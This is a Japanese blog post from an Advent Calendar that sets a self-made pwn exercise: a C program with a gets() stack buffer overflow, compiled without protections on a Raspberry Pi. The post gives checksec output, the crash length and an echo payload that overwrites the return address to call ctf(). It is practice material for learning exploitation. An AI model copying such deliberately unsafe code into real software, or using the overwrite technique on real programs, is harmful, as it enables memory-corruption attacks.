6
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

C言語Advent Calendar 2018

Day 5

pwnの練習問題

Last updated at Posted at 2018-09-24

#概要
pwnの練習問題作って見た。

#問題
下記の、プログラムの脆弱性を突いて、ctf関数を実行せよ。

#include <stdio.h>

void ctf()
{
	puts("You Cool!");
	exit(0);
}

int main()
{
	char buf[10];
	gets(buf);
	printf("%p\n", buf);
	return 0;
}

#環境の調査

uname -a

Linux raspberrypi 4.4.34+ #930 Wed Nov 23 15:12:30 GMT 2016 armv6l GNU/Linux

gcc --version

gcc (Raspbian 4.9.2-10) 4.9.2
Copyright (C) 2014 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

lsb_release -a

No LSB modules are available.
Distributor ID:	Raspbian
Description:	Raspbian GNU/Linux 8.0 (jessie)
Release:	8.0
Codename:	jessie

#コンパイルする。

gcc -fno-stack-protector -zexecstack test.c

#静的調査

pwn checksec a.out
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[*] '/home/pi/pwn1/a.out'
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000)
    RWX:      Has RWX segments

#動的調査
Aを19個でSegmentation fault

echo -ne "AAAAAAAAAAAAAAAAAAA" | ./a.out
0xbec9c00c
Segmentation fault

#方針

バッファオーバーフローでリターンアドレス書き換えて、CTF関数を実行させる。

#gdbで調査

ctf関数のアドレスは、0x000104b0

#コードを書く(正解)

echo -e "AAAAAAAAAAAAAAAA\xb0\x04\x01\x00" | ./a.out

以上。

6
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
6
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?